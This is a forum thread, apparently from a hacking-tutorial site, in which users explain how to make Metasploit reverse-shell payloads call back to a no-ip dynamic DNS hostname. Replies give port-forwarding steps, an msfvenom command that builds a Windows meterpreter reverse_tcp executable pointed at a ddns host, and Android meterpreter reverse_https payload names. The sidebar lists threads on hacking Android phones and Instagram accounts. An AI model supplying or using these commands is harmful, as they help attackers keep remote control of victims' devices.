Is there any way to use a hostname (no-ip) as lhost in metasploit payloads? because my ip is not exactly static so i want to use no-ip hostname to make it reachable even if it changed
Forum Thread: Use Hostname as LHOST in Metasploit
- Hot
- Active
-
Forum Thread: How to Track Who Is Sms Bombing Me . 4 Replies
1 mo ago -
Forum Thread: Removing Pay-as-You-Go Meter on Loan Phones. 1 Replies
2 mo ago -
Forum Thread: Hydra Syntax Issue Stops After 16 Attempts 3 Replies
2 mo ago -
Forum Thread: moab5.Sh Error While Running Metasploit 17 Replies
3 mo ago -
Forum Thread: Execute Reverse PHP Shell with Metasploit 1 Replies
4 mo ago -
Forum Thread: Install Metasploit Framework in Termux No Root Needed M-Wiz Tool 1 Replies
5 mo ago -
Forum Thread: Hack and Track People's Device Constantly Using TRAPE 35 Replies
5 mo ago -
Forum Thread: When My Kali Linux Finishes Installing (It Is Ready to Boot), and When I Try to Boot It All I Get Is a Black Screen. 8 Replies
6 mo ago -
Forum Thread: HACK ANDROID with KALI USING PORT FORWARDING(portmap.io) 12 Replies
6 mo ago -
Forum Thread: Hack Instagram Account Using BruteForce 208 Replies
7 mo ago -
Forum Thread: Metasploit reverse_tcp Handler Problem 47 Replies
9 mo ago -
Forum Thread: How to Train to Be an IT Security Professional (Ethical Hacker) 22 Replies
9 mo ago -
Metasploit Error: Handler Failed to Bind 41 Replies
9 mo ago -
Forum Thread: How to Hack Android Phone Using Same Wifi 21 Replies
9 mo ago -
How to: HACK Android Device with TermuX on Android | Part #1 - Over the Internet [Ultimate Guide] 177 Replies
9 mo ago -
How to: Crack Instagram Passwords Using Instainsane 36 Replies
9 mo ago -
Forum Thread: How to Hack an Android Device Remotely, to Gain Acces to Gmail, Facebook, Twitter and More 5 Replies
10 mo ago -
Forum Thread: How Many Hackers Have Played Watch_Dogs Game Before? 13 Replies
10 mo ago -
Forum Thread: How to Hack an Android Device with Only a Ip Adress 55 Replies
11 mo ago -
How to: Sign the APK File with Embedded Payload (The Ultimate Guide) 10 Replies
11 mo ago
-
How to Hack Wi-Fi: Cracking WPA2-PSK Passwords Using Aircrack-Ng
-
How To: Find Identifying Information from a Phone Number Using OSINT Tools
-
How To: Find Vulnerable Webcams Across the Globe Using Shodan
-
How To: Use Burp & FoxyProxy to Easily Switch Between Proxy Settings
-
How To: Extract Bitcoin Wallet Addresses & Balances from Websites with SpiderFoot CLI
-
How To: Use Kismet to Watch Wi-Fi User Activity Through Walls
-
Hack Like a Pro: How to Find Directories in Websites Using DirBuster
-
How To: Use SpiderFoot for OSINT Gathering
-
How to Hack Wi-Fi: Cracking WEP Passwords with Aircrack-Ng
-
How To: Stealthfully Sniff Wi-Fi Activity Without Connecting to a Target Router
-
How To: The Top 80+ Websites Available in the Tor Network
-
How to Hack Wi-Fi: Getting Started with the Aircrack-Ng Suite of Wi-Fi Hacking Tools
-
How To: Make Your Own Bad USB
-
How To: Scan for Vulnerabilities on Any Website Using Nikto
-
How To: Intercept Images from a Security Camera Using Wireshark
-
How To: Enumerate SMB with Enum4linux & Smbclient
-
How to Hack Wi-Fi: Stealing Wi-Fi Passwords with an Evil Twin Attack
-
Android for Hackers: How to Turn an Android Phone into a Hacking Device Without Root
-
How To: Fix Bidirectional Copy/Paste Issues for Kali Linux Running in VirtualBox
-
How To: Hack a Windows 7/8/10 Admin Account Password with Windows Magnifier
12 Responses
yes you could i already use it for my beef/metasploit
If you could explain how i will be so gratefull
first thing first you need to download no-ip for linux
install it( it explained how in their website) and setup your no-ip
then you need to forward your port in your router ( for example 4444 port which is defualt)
then just easly set LHOST to what ever your public ip or your no-ip dns is
and set LPORT to what ever you forwarded in router!
Dude there is a windows/meterpreter/reversetcpdns which works fine with dns hostnames but am basically talking about android :/
Do you mean something like this?!?!
$ ./msfvenom -p windows/meterpreter/reversetcp LHOST=illka.ddns.net IP lport=4444 -f exe -o /tmp/mypayload.exe
for android i guess there's a payload android/meterpreter/reverse_https for dns hostnames, though i've never tried it.
as far as opening a port is concerned, some people like me use 3G dongles, so there's no interface from which you can port forward... the solution is to use a virtual router software like this one UPNP PORTMAPPER http://sourceforge.net/projects/upnp-portmapper/files/
Thanks for the reply, my ports are open, am just looking for a payload like the reversetcpdns but for android, because sometimes my ip changes so i want it to connect to my dns so it redirects it to my ip
try these:
android/shell/reverse_https
OR
android/meterpreter/reverse_https
I've found this Pastebin link that has a module for Metasploit that allows DNS to be used instead of an IPv4 address. I haven't tested it out yet, mostly because I'm not sure how to, so, yeah.
Would you mind making a tutorial on this if it works?
Ninja243
After doing some trawling, I found out that the regular reverse tcp module can take DNS instead of an IP address (as seen here.)
Sorry for wasting your time.
Ninja243
why reinventing the wheel?
android/meterpreter/reverse_https works great with no-ip hosts. I'm using it at the moment to test hacking android
if you found the way, I'd like to know.
Share Your Thoughts